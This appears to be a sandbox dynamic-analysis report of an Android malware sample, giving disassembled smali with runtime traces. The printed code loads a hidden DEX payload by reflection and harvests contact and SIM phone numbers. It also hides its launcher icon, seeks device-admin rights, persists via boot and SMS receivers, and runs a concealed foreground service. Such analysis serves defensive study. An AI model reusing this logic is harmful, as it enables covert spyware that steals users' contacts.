151invoke-virtual {v3, v4}, Ljava/lang/reflect/Constructor;->newInstance([Ljava/lang/Object;)Ljava/lang/Object;
  • Time: 234186
    • This:
      • public dalvik.system.DexClassLoader(java.lang.String,java.lang.String,java.lang.String,java.lang.ClassLoader)
    • p0: /data/user/0/gfdg.qwe.gsdg/files/test.dex
    • p1: /data/user/0/gfdg.qwe.gsdg/files/a
    • p2: null
    • p3: dalvik.system.PathClassLoader[DexPathList[[directory "."],nativeLibraryDirectories=[/vendor/lib, /system/lib]]]
    • Return:
      • dalvik.system.DexClassLoader[DexPathList[[dex file "/data/user/0/gfdg.qwe.gsdg/files/test.dex"],nativeLibraryDirectories=[/vendor/lib, /system/lib]]]
152move-result-object v0
153check-cast v0, Ljava/lang/ClassLoader;
154iput-object v0, p0, Lcom/wefd/esMyApplication;->b:Ljava/lang/ClassLoader;
156invoke-direct {p0, v2, v1}, Lcom/wefd/esMyApplication;->a(Ljava/lang/String;Ljava/lang/String;)V
157goto_e1: return-void
158cond_e2: const/4 v5, 0x0
160invoke-virtual {v0, v3, v5, v4}, Ljava/io/ByteArrayOutputStream;->write([BII)V
161try_end_e6: goto/16 :goto_45
162catch_e8: move-exception v0
164invoke-virtual {v0}, Ljava/lang/Throwable;->printStackTrace()V
165goto/16 :goto_e1
Cross References
APIs
  • android.content.Context.getContentResolver
  • com.rwe.gsActivity.startService
  • android.database.Cursor.moveToNext
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • java.util.Set.contains
  • java.util.Set.add
  • android.net.Uri.parse
  • android.content.ContentResolver.query
  • android.database.Cursor.moveToNext
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • java.util.Set.contains
  • java.util.Set.add
  • android.database.Cursor.close
Strings
  • android.app.extra.ADD_EXPLANATION
  • android.app.extra.DEVICE_ADMIN
  • context
  • contact_id
  • display_name
  • data1
  • photo_id
  • number
  • content://icc/adn
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Landroid/content/Context;",
4")",
5"Ljava/util/Set",
6"<",
7"Ljava/lang/String;",
8">;"
9}
10.end annotation
12const-string v1, "context"
14invoke-static {p1, v1}, Ld/d/b/h;->b(Ljava/lang/Object;Ljava/lang/String;)V
16invoke-virtual {p1}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
17move-result-object v1
18nop
19const/4 v2, 0x4
20try_start_b: new-array v2, v2, [Ljava/lang/String;
21const/4 v3, 0x0
23const-string v4, "contact_id"
24aput-object v4, v2, v3
25const/4 v3, 0x1
27const-string v4, "display_name"
28aput-object v4, v2, v3
29const/4 v3, 0x2
31const-string v4, "data1"
32aput-object v4, v2, v3
33const/4 v3, 0x3
35const-string v4, "photo_id"
36aput-object v4, v2, v3
37check-cast v2, [Ljava/lang/Object;
38move-object v0, v2
39check-cast v0, [Ljava/lang/String;
40move-object v3, v0
42sget-object v2, Landroid/provider/ContactsContract$CommonDataKinds$Phone;->CONTENT_URI:Landroid/net/Uri;
43const/4 v4, 0x0
44const/4 v5, 0x0
45const/4 v6, 0x0
47invoke-virtual/range {v1 .. v6}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
  • Time: 234197
    • This:
      • com.rwe.gsActivity@7eab9d8
    • p0: Intent { cmp=gfdg.qwe.gsdg/com.das.vgMainService }
    • Return:
      • ComponentInfo{gfdg.qwe.gsdg/com.das.vgMainService}
48move-result-object v2
49if-eqz v2, :cond_56
50goto_32:
51invoke-interface {v2}, Landroid/database/Cursor;->moveToNext()Z
52move-result v3
53if-eqz v3, :cond_8e
55const-string v3, "data1"
57invoke-interface {v2, v3}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
58move-result v3
60invoke-interface {v2, v3}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
61move-result-object v3
63sget-object v4, Lcom/a;->b:Ljava/util/Set;
65invoke-interface {v4, v3}, Ljava/util/Set;->contains(Ljava/lang/Object;)Z
66move-result v4
67if-nez v4, :cond_32
69sget-object v4, Lcom/a;->b:Ljava/util/Set;
71const-string v5, "number"
73invoke-static {v3, v5}, Ld/d/b/h;->a(Ljava/lang/Object;Ljava/lang/String;)V
75invoke-interface {v4, v3}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
76try_end_54: goto/16 :goto_32
77catch_55: move-exception v2
78goto_56: nop
79try_start_57:
80const-string v2, "content://icc/adn"
82invoke-static {v2}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
83move-result-object v2
84const/4 v3, 0x0
85const/4 v4, 0x0
86const/4 v5, 0x0
87const/4 v6, 0x0
89invoke-virtual/range {v1 .. v6}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
90move-result-object v1
91if-eqz v1, :cond_8b
92cond_67:
93invoke-interface {v1}, Landroid/database/Cursor;->moveToNext()Z
94move-result v2
95if-eqz v2, :cond_92
97const-string v2, "number"
99invoke-interface {v1, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
100move-result v2
102invoke-interface {v1, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
103move-result-object v2
105sget-object v3, Lcom/a;->b:Ljava/util/Set;
107invoke-interface {v3, v2}, Ljava/util/Set;->contains(Ljava/lang/Object;)Z
108move-result v3
109if-nez v3, :cond_67
111sget-object v3, Lcom/a;->b:Ljava/util/Set;
113const-string v4, "number"
115invoke-static {v2, v4}, Ld/d/b/h;->a(Ljava/lang/Object;Ljava/lang/String;)V
117invoke-interface {v3, v2}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
118try_end_89: goto/16 :goto_67
119catch_8a: move-exception v1
120goto_8b:
121sget-object v1, Lcom/a;->b:Ljava/util/Set;
122return-object v1
123cond_8e:
124invoke-interface {v2}, Landroid/database/Cursor;->close()V
125try_end_91: goto/16 :goto_56
126try_start_92:
127invoke-interface {v1}, Landroid/database/Cursor;->close()V
128try_end_95: goto/16 :goto_8b
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.ClassLoader.loadClass
  • java.lang.Class.getMethod
  • java.lang.reflect.Method.invoke
Strings
  • com
  • create
Position Instruction Meta Information
0const/4 v3, 0x0
2iget-object v0, p0, Lcom/wefd/esMyApplication;->b:Ljava/lang/ClassLoader;
3new-instance v1, Ljava/lang/StringBuilder;
5invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
7const-string v2, "com"
9invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
10move-result-object v1
12iget-object v2, p0, Lcom/wefd/esMyApplication;->e:Ljava/lang/String;
14invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
15move-result-object v1
17invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
18move-result-object v1
20invoke-virtual {v0, v1}, Ljava/lang/ClassLoader;->loadClass(Ljava/lang/String;)Ljava/lang/Class;
21move-result-object v0
22iput-object v0, p0, Lcom/wefd/esMyApplication;->c:Ljava/lang/Class;
24iget-object v0, p0, Lcom/wefd/esMyApplication;->c:Ljava/lang/Class;
26const-string v1, "create"
27new-array v2, v3, [Ljava/lang/Class;
29invoke-virtual {v0, v1, v2}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
  • Time: 234189
    • This:
      • class com.Loader
      • getName:com.Loader
    • p0: create
    • p1: [Ljava.lang.Class;@81d4eb5
    • Return:
      • public static final com.Loader com.Loader.create()
      • getName: create
30move-result-object v0
31const/4 v1, 0x0
32new-array v2, v3, [Ljava/lang/Object;
34invoke-virtual {v0, v1, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
35move-result-object v0
36iput-object v0, p0, Lcom/wefd/esMyApplication;->a:Ljava/lang/Object;
37return-void
Cross References
APIs
  • com.rwe.rtAdminReceiver.a
  • java.lang.Thread.sleep
  • android.app.ReceiverRestrictedContext.getApplicationContext
  • java.lang.Object.getClass
  • java.lang.Class.getMethod
  • java.lang.reflect.Method.invoke
Strings
  • requestIgnoreBatteryOpt2
Position Instruction Meta Information
0try_start_0:
1iget-object v0, p0, Lcom/rwe/rtAdminReceiver$1;->b:Lcom/rwe/rtAdminReceiver;
3iget-object v1, p0, Lcom/rwe/rtAdminReceiver$1;->a:Landroid/content/Context;
5invoke-static {v0, v1}, Lcom/rwe/rtAdminReceiver;->a(Lcom/rwe/rtAdminReceiver;Landroid/content/Context;)V
6const-wide/16 v0, 0x3e8
8invoke-static {v0, v1}, Ljava/lang/Thread;->sleep(J)V
10iget-object v0, p0, Lcom/rwe/rtAdminReceiver$1;->a:Landroid/content/Context;
12invoke-virtual {v0}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
  • Time: 239964
    • This:
      • android.app.ReceiverRestrictedContext@e5feebd
    • Return:
      • com.wefd.esMyApplication@2a056a8
13move-result-object v0
14check-cast v0, Lcom/wefd/esMyApplication;
16iget-object v0, v0, Lcom/wefd/esMyApplication;->a:Ljava/lang/Object;
18invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
19move-result-object v1
21const-string v2, "requestIgnoreBatteryOpt2"
22const/4 v3, 0x0
23new-array v3, v3, [Ljava/lang/Class;
25invoke-virtual {v1, v2, v3}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
26move-result-object v1
27const/4 v2, 0x0
28new-array v2, v2, [Ljava/lang/Object;
30invoke-virtual {v1, v0, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
31goto_29: return-void
32catch_2a: move-exception v0
33goto/16 :goto_29
Cross References
APIs
  • com.rwe.gsActivity.getPackageManager
  • com.rwe.gsActivity.getPackageName
  • java.lang.Class.getName
  • android.content.ComponentName.<init>
  • android.content.pm.PackageManager.setComponentEnabledSetting
  • java.lang.Exception.printStackTrace
Strings
  • gfdg.qwe.gsdg
Position Instruction Meta Information
0try_start_0:
1iget-object v0, p0, Lcom/rwe/gsActivity$1;->a:Lcom/rwe/gsActivity;
3invoke-virtual {v0}, Lcom/rwe/gsActivity;->getPackageManager()Landroid/content/pm/PackageManager;
4move-result-object v0
5new-instance v1, Landroid/content/ComponentName;
7iget-object v2, p0, Lcom/rwe/gsActivity$1;->a:Lcom/rwe/gsActivity;
9invoke-virtual {v2}, Lcom/rwe/gsActivity;->getPackageName()Ljava/lang/String;
  • Time: 234205
    • This:
      • com.rwe.gsActivity@7eab9d8
    • Return:
      • gfdg.qwe.gsdg
10move-result-object v2
11const-class v3, Lcom/rwe/gsActivity;
13invoke-virtual {v3}, Ljava/lang/Class;->getName()Ljava/lang/String;
14move-result-object v3
16invoke-direct {v1, v2, v3}, Landroid/content/ComponentName;-><init>(Ljava/lang/String;Ljava/lang/String;)V
17const/4 v2, 0x2
18const/4 v3, 0x1
20invoke-virtual {v0, v1, v2, v3}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
21try_end_1c: return-void
22catch_1d: move-exception v0
24invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
25goto/16 :goto_1c
Cross References
APIs
  • android.content.Intent.<init>
  • android.content.Intent.addCategory
  • android.content.Intent.addFlags
  • android.app.ReceiverRestrictedContext.startActivity
Strings
  • android.intent.action.MAIN
  • android.intent.category.HOME
Position Instruction Meta Information
0new-instance v0, Landroid/content/Intent;
2const-string v1, "android.intent.action.MAIN"
4invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
6const-string v1, "android.intent.category.HOME"
8invoke-virtual {v0, v1}, Landroid/content/Intent;->addCategory(Ljava/lang/String;)Landroid/content/Intent;
9const/high16 v1, 0x10000000
11invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
13invoke-virtual {p1, v0}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
  • Time: 238959
    • This:
      • android.app.ReceiverRestrictedContext@e5feebd
    • p0: Intent { act=android.intent.action.MAIN cat=[android.intent.category.HOME] flg=0x10000000 }
14return-void
Cross References
APIs
  • java.lang.Class.getMethod
  • java.lang.Boolean.valueOf
  • java.lang.reflect.Method.invoke
  • java.lang.Exception.printStackTrace
Strings
  • start
Position Instruction Meta Information
0const/4 v0, 0x1
1const/4 v1, 0x0
2try_start_2:
3iget-object v2, p2, Lcom/wefd/esMyApplication;->c:Ljava/lang/Class;
5const-string v3, "start"
6const/4 v4, 0x2
7new-array v4, v4, [Ljava/lang/Class;
8const/4 v5, 0x0
9const-class v6, Landroid/content/Context;
10aput-object v6, v4, v5
11const/4 v5, 0x1
13sget-object v6, Ljava/lang/Boolean;->TYPE:Ljava/lang/Class;
14aput-object v6, v4, v5
16invoke-virtual {v2, v3, v4}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
  • Time: 234219
    • This:
      • class com.Loader
      • getName:com.Loader
    • p0: start
    • p1: [Ljava.lang.Class;@b80edb4
    • p1.Arrays.toString: [class android.content.Context, boolean]
    • Return:
      • public final void com.Loader.start(android.content.Context,boolean)
      • getName: start
17move-result-object v2
19iget-object v3, p2, Lcom/wefd/esMyApplication;->a:Ljava/lang/Object;
20const/4 v4, 0x2
21new-array v4, v4, [Ljava/lang/Object;
22const/4 v5, 0x0
23aput-object p0, v4, v5
24const/4 v5, 0x1
25if-eqz p1, :cond_2c
26goto_22:
27invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
28move-result-object v0
29aput-object v0, v4, v5
31invoke-virtual {v2, v3, v4}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
32goto_2b: return-void
33cond_2c: move v0, v1
34goto/16 :goto_22
35catch_2e: move-exception v0
37invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
38goto/16 :goto_2b
APIs
  • android.app.Service.onCreate
  • com.das.vgMainService.getSharedPreferences
  • android.content.SharedPreferences.getInt
  • android.content.SharedPreferences.edit
  • android.content.SharedPreferences$Editor.putInt
  • android.content.SharedPreferences$Editor.apply
  • android.app.Notification$Builder.<init>
  • android.app.Notification$Builder.setSmallIcon
  • android.app.Notification$Builder.setContentTitle
  • android.app.Notification$Builder.setContentText
  • android.app.Notification$Builder.build
  • com.das.vgMainService.startForeground
  • android.content.Intent.<init>
  • com.das.vgMainService.startService
  • android.app.Notification.<init>
  • com.das.vgMainService.startForeground
Strings
  • pref
  • create
  • KeepAppAlive
  • DaemonService is runing...
Position Instruction Meta Information
0const/4 v2, 0x0
2invoke-super {p0}, Landroid/app/Service;->onCreate()V
4const-string v0, "pref"
6invoke-virtual {p0, v0, v2}, Lcom/das/vgMainService;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
7move-result-object v0
9const-string v1, "create"
11invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
12move-result v1
13add-int/lit8 v1, v1, 0x1
15invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
16move-result-object v0
18const-string v2, "create"
20invoke-interface {v0, v2, v1}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
21move-result-object v0
23invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->apply()V
24sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
25const/16 v1, 0x12
26if-lt v0, v1, :cond_4d
27new-instance v0, Landroid/app/Notification$Builder;
29invoke-direct {v0, p0}, Landroid/app/Notification$Builder;-><init>(Landroid/content/Context;)V
30const/high16 v1, 0x7f020000
32invoke-virtual {v0, v1}, Landroid/app/Notification$Builder;->setSmallIcon(I)Landroid/app/Notification$Builder;
34const-string v1, "KeepAppAlive"
36invoke-virtual {v0, v1}, Landroid/app/Notification$Builder;->setContentTitle(Ljava/lang/CharSequence;)Landroid/app/Notification$Builder;
38const-string v1, "DaemonService is runing..."
40invoke-virtual {v0, v1}, Landroid/app/Notification$Builder;->setContentText(Ljava/lang/CharSequence;)Landroid/app/Notification$Builder;
41sget v1, Lcom/das/vgMainService;->a:I
43invoke-virtual {v0}, Landroid/app/Notification$Builder;->build()Landroid/app/Notification;
44move-result-object v0
46invoke-virtual {p0, v1, v0}, Lcom/das/vgMainService;->startForeground(ILandroid/app/Notification;)V
47new-instance v0, Landroid/content/Intent;
48const-class v1, Lcom/das/hfCancelNoticeService;
50invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
52invoke-virtual {p0, v0}, Lcom/das/vgMainService;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
  • Time: 234216
    • This:
      • com.das.vgMainService@a82ceab
    • p0: Intent { cmp=gfdg.qwe.gsdg/com.das.hfCancelNoticeService }
    • Return:
      • ComponentInfo{gfdg.qwe.gsdg/com.das.hfCancelNoticeService}
53goto_4c: return-void
54cond_4d: sget v0, Lcom/das/vgMainService;->a:I
55new-instance v1, Landroid/app/Notification;
57invoke-direct {v1}, Landroid/app/Notification;-><init>()V
59invoke-virtual {p0, v0, v1}, Lcom/das/vgMainService;->startForeground(ILandroid/app/Notification;)V
60goto/16 :goto_4c
APIs
  • android.content.Intent.getAction
  • java.lang.String.equals
  • android.content.Context.getSharedPreferences
  • com.vjdf.ytMyReceiver.a
Strings
  • android.intent.action.BOOT_COMPLETED
  • android.provider.Telephony.SMS_RECEIVED
  • pref
Position Instruction Meta Information
1invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
  • Time: 339450
    • This:
      • Intent { act=android.intent.action.BOOT_COMPLETED }
    • Return:
      • android.intent.action.BOOT_COMPLETED
  • Time: 347460
    • This:
      • Intent { act=android.provider.Telephony.SMS_RECEIVED (has extras) }
    • Return:
      • android.provider.Telephony.SMS_RECEIVED
2move-result-object v0
4const-string v1, "android.intent.action.BOOT_COMPLETED"
6invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
7move-result v0
8if-eqz v0, :cond_16
10const-string v0, "pref"
11const/4 v1, 0x0
13invoke-virtual {p1, v0, v1}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
14move-result-object v0
16invoke-direct {p0, v0}, Lcom/vjdf/ytMyReceiver;->a(Landroid/content/SharedPreferences;)V
17cond_16:
18invoke-static {p1}, Lcom/a;->a(Landroid/content/Context;)V
19return-void
APIs
  • com.das.hfCancelNoticeService.a
  • com.das.hfCancelNoticeService.getSystemService
  • android.app.NotificationManager.cancel
  • com.das.hfCancelNoticeService.stopSelf
  • java.lang.Exception.printStackTrace
Strings
  • notification
Position Instruction Meta Information
0try_start_0:
1iget-object v0, p0, Lcom/das/hfCancelNoticeService$1;->a:Lcom/das/hfCancelNoticeService;
3invoke-static {v0}, Lcom/das/hfCancelNoticeService;->a(Lcom/das/hfCancelNoticeService;)V
5iget-object v0, p0, Lcom/das/hfCancelNoticeService$1;->a:Lcom/das/hfCancelNoticeService;
7const-string v1, "notification"
9invoke-virtual {v0, v1}, Lcom/das/hfCancelNoticeService;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Time: 235343
    • This:
      • com.das.hfCancelNoticeService@8a06823
    • p0: notification
    • Return:
      • android.app.NotificationManager@871dad9
10move-result-object v0
11check-cast v0, Landroid/app/NotificationManager;
12sget v1, Lcom/das/vgMainService;->a:I
14invoke-virtual {v0, v1}, Landroid/app/NotificationManager;->cancel(I)V
16iget-object v0, p0, Lcom/das/hfCancelNoticeService$1;->a:Lcom/das/hfCancelNoticeService;
18invoke-virtual {v0}, Lcom/das/hfCancelNoticeService;->stopSelf()V
19try_end_19: return-void
20catch_1a: move-exception v0
22invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
23goto/16 :goto_19

179 Non-Executed Methods

Cross References
APIs
  • java.lang.AssertionError.<init>
  • java.lang.String.equals
  • java.lang.IllegalArgumentException.<init>
  • com.sun.mail.util.logging.MailHandler.reportError
  • java.lang.StringBuffer.<init>
  • java.lang.StringBuffer.append
  • javax.mail.internet.InternetAddress.getLocalAddress
  • java.lang.StringBuffer.append
  • java.lang.StringBuffer.toString
  • com.sun.mail.util.logging.MailHandler.getEncodingName
  • java.nio.charset.Charset.forName
  • javax.mail.internet.MimeMessage.<init>
  • com.sun.mail.util.logging.MailHandler.head
  • com.sun.mail.util.logging.MailHandler.appendSubject
  • com.sun.mail.util.logging.MailHandler.tail
  • com.sun.mail.util.logging.MailHandler.appendSubject
  • com.sun.mail.util.logging.MailHandler.setIncompleteCopy
  • javax.mail.MessageContext.<init>
  • com.sun.mail.util.logging.MailHandler.envelopeFor
  • javax.mail.internet.MimeMessage.saveChanges
  • javax.mail.internet.MimeMessage.getAllRecipients
  • javax.mail.Session.getTransport
  • javax.mail.Session.getProperty
  • java.lang.String.equals
  • javax.mail.Transport.connect
  • com.sun.mail.smtp.SMTPTransport.getLocalHost
  • javax.mail.Transport.sendMessage
  • javax.mail.Transport.close
  • com.sun.mail.util.logging.MailHandler.reportUnexpectedSend
  • com.sun.mail.util.logging.MailHandler.fixUpContent
  • com.sun.mail.util.logging.MailHandler.reportError
  • com.sun.mail.util.logging.MailHandler.isEmpty
  • java.net.InetAddress.getLocalHost
  • java.net.InetAddress.getCanonicalHostName
  • java.lang.String.length
  • java.net.UnknownHostException.<init>
  • javax.mail.MessagingException.<init>
  • com.sun.mail.util.logging.MailHandler.fixUpContent
  • com.sun.mail.util.logging.MailHandler.reportError
  • javax.mail.internet.MimeMultipart.<init>
  • javax.mail.internet.MimeBodyPart.<init>
  • javax.mail.internet.MimeBodyPart.setDisposition
  • javax.mail.internet.MimeBodyPart.setDescription
  • com.sun.mail.util.logging.MailHandler.setAcceptLang
  • com.sun.mail.util.logging.MailHandler.setContent
  • javax.mail.internet.MimeMultipart.addBodyPart
  • javax.mail.internet.MimeMessage.setContent
  • javax.mail.internet.MimeMessage.saveChanges
  • java.io.ByteArrayOutputStream.<init>
  • javax.mail.internet.MimeMessage.writeTo
  • com.sun.mail.util.logging.MailHandler.verifyAddresses
  • javax.mail.internet.MimeMessage.getFrom
  • javax.mail.internet.MimeMessage.getSender
  • javax.mail.internet.InternetAddress.validate
  • javax.mail.internet.MimeMessage.getHeader
  • com.sun.mail.util.logging.MailHandler.verifyAddresses
  • javax.mail.Address.equals
  • java.lang.StringBuffer.<init>
  • java.lang.StringBuffer.append
  • java.lang.StringBuffer.toString
  • javax.mail.MessagingException.<init>
  • com.sun.mail.util.logging.MailHandler.fixUpContent
  • com.sun.mail.util.logging.MailHandler.reportError
  • java.lang.RuntimeException.toString
  • java.io.UnsupportedEncodingException.<init>
  • java.io.IOException.initCause
  • com.sun.mail.util.logging.MailHandler.reportError
  • javax.mail.internet.MimeMessage.getFrom
  • javax.mail.MessagingException.<init>
  • com.sun.mail.util.logging.MailHandler.reportError
  • javax.mail.Session.getTransport
  • com.sun.mail.util.logging.MailHandler.attach
  • com.sun.mail.util.logging.MailHandler.fixUpContent
  • com.sun.mail.util.logging.MailHandler.reportError
  • javax.mail.SendFailedException.getInvalidAddresses
  • com.sun.mail.util.logging.MailHandler.fixUpContent
  • com.sun.mail.util.logging.MailHandler.reportError
  • javax.mail.SendFailedException.getValidSentAddresses
  • com.sun.mail.util.logging.MailHandler.reportUnexpectedSend
  • com.sun.mail.util.logging.MailHandler.isMissingContent
  • com.sun.mail.util.logging.MailHandler.fixUpContent
  • com.sun.mail.util.logging.MailHandler.reportError
  • javax.mail.Transport.getURLName
  • javax.mail.URLName.getProtocol
  • javax.mail.Session.getProperty
  • java.lang.StringBuffer.<init>
  • java.lang.StringBuffer.append
  • java.lang.StringBuffer.toString
  • javax.mail.Session.getProperty
  • java.lang.StringBuffer.<init>
  • java.lang.StringBuffer.append
  • java.lang.StringBuffer.toString
  • javax.mail.Session.getProperty
  • java.lang.StringBuffer.<init>
  • java.lang.StringBuffer.append
  • java.lang.StringBuffer.toString
  • javax.mail.Session.getProperty
  • com.sun.mail.smtp.SMTPTransport.getLocalHost
  • java.lang.StringBuffer.<init>
  • java.lang.StringBuffer.append
  • java.lang.StringBuffer.toString
  • javax.mail.Session.getProperty
  • com.sun.mail.util.logging.MailHandler.isEmpty
  • java.lang.StringBuffer.<init>
  • java.lang.StringBuffer.append
  • java.lang.StringBuffer.toString
  • javax.mail.Session.getProperty
  • java.net.InetAddress.getByName
  • java.net.InetAddress.getCanonicalHostName
  • java.lang.String.length
  • java.net.UnknownHostException.<init>
  • javax.mail.MessagingException.<init>
  • com.sun.mail.util.logging.MailHandler.fixUpContent
  • com.sun.mail.util.logging.MailHandler.reportError
  • javax.mail.MessagingException.<init>
  • javax.mail.internet.MimeMessage.getReplyTo
  • com.sun.mail.util.logging.MailHandler.verifyAddresses
  • javax.mail.Transport.close
Strings
  • local
  • remote
  • Verify must be \'local\' or \'remote\'.
  • Local address is
  • mail.transport.protocol
  • inline
  • text/plain
  • From
  • ,
  • Sender address \'
  • \' equals from address.
  • No recipient or from address.
  • mail.host
  • mail.user
  • mail.
  • .host
  • .port
  • .user
  • .localhost
  • .localaddress
  • No recipient addresses.
  • No from or sender address.
Position Instruction Meta Information
0const/4 v6, 0x5
1const/4 v5, 0x0
2const/4 v1, 0x0
3const/4 v9, 0x4
4sget-boolean v2, Lcom/sun/mail/util/logging/MailHandler;->$assertionsDisabled:Z
5if-nez v2, :cond_12
6if-nez p2, :cond_12
7new-instance v2, Ljava/lang/AssertionError;
8check-cast v1, Ljava/lang/String;
10invoke-direct {v2, v1}, Ljava/lang/AssertionError;-><init>(Ljava/lang/Object;)V
11throw v2
12cond_12:
13const-string v2, "local"
15invoke-virtual {v2, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
16move-result v2
17if-nez v2, :cond_2d
19const-string v2, "remote"
21invoke-virtual {v2, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
22move-result v2
23if-nez v2, :cond_2d
25const-string v1, "Verify must be \'local\' or \'remote\'."
26new-instance v2, Ljava/lang/IllegalArgumentException;
28invoke-direct {v2, p2}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
30invoke-virtual {p0, v1, v2, v9}, Lcom/sun/mail/util/logging/MailHandler;->reportError(Ljava/lang/String;Ljava/lang/Exception;I)V
31goto_2c: return-void
32cond_2d: new-instance v2, Ljava/lang/StringBuffer;
34invoke-direct {v2}, Ljava/lang/StringBuffer;-><init>()V
36const-string v3, "Local address is "
38invoke-virtual {v2, v3}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
39move-result-object v2
41invoke-static {p1}, Ljavax/mail/internet/InternetAddress;->getLocalAddress(Ljavax/mail/Session;)Ljavax/mail/internet/InternetAddress;
42move-result-object v3
44invoke-virtual {v2, v3}, Ljava/lang/StringBuffer;->append(Ljava/lang/Object;)Ljava/lang/StringBuffer;
45move-result-object v2
46const/16 v3, 0x2e
48invoke-virtual {v2, v3}, Ljava/lang/StringBuffer;->append(C)Ljava/lang/StringBuffer;
49move-result-object v2
51invoke-virtual {v2}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
52move-result-object v7
53try_start_4a:
54invoke-direct {p0}, Lcom/sun/mail/util/logging/MailHandler;->getEncodingName()Ljava/lang/String;
55move-result-object v2
57invoke-static {v2}, Ljava/nio/charset/Charset;->forName(Ljava/lang/String;)Ljava/nio/charset/Charset;
58goto_51: new-instance v8, Ljavax/mail/internet/MimeMessage;
60invoke-direct {v8, p1}, Ljavax/mail/internet/MimeMessage;-><init>(Ljavax/mail/Session;)V
61monitor-enter p0
62try_start_57:
63iget-object v2, p0, Lcom/sun/mail/util/logging/MailHandler;->subjectFormatter:Ljava/util/logging/Formatter;
65invoke-direct {p0, v2}, Lcom/sun/mail/util/logging/MailHandler;->head(Ljava/util/logging/Formatter;)Ljava/lang/String;
66move-result-object v2
68invoke-direct {p0, v8, v2}, Lcom/sun/mail/util/logging/MailHandler;->appendSubject(Ljavax/mail/Message;Ljava/lang/String;)V
70iget-object v2, p0, Lcom/sun/mail/util/logging/MailHandler;->subjectFormatter:Ljava/util/logging/Formatter;
72const-string v3, ""
74invoke-direct {p0, v2, v3}, Lcom/sun/mail/util/logging/MailHandler;->tail(Ljava/util/logging/Formatter;Ljava/lang/String;)Ljava/lang/String;
75move-result-object v2
77invoke-direct {p0, v8, v2}, Lcom/sun/mail/util/logging/MailHandler;->appendSubject(Ljavax/mail/Message;Ljava/lang/String;)V
78monitor-exit p0
79try_end_6c:
80invoke-direct {p0, v8}, Lcom/sun/mail/util/logging/MailHandler;->setIncompleteCopy(Ljavax/mail/Message;)V
81new-instance v2, Ljavax/mail/MessageContext;
83invoke-direct {v2, v8}, Ljavax/mail/MessageContext;-><init>(Ljavax/mail/Part;)V
84const/4 v3, 0x1
86invoke-direct {p0, v2, v3}, Lcom/sun/mail/util/logging/MailHandler;->envelopeFor(Ljavax/mail/MessageContext;Z)V
87try_start_78:
88invoke-virtual {v8}, Ljavax/mail/internet/MimeMessage;->saveChanges()V
89try_end_7b:
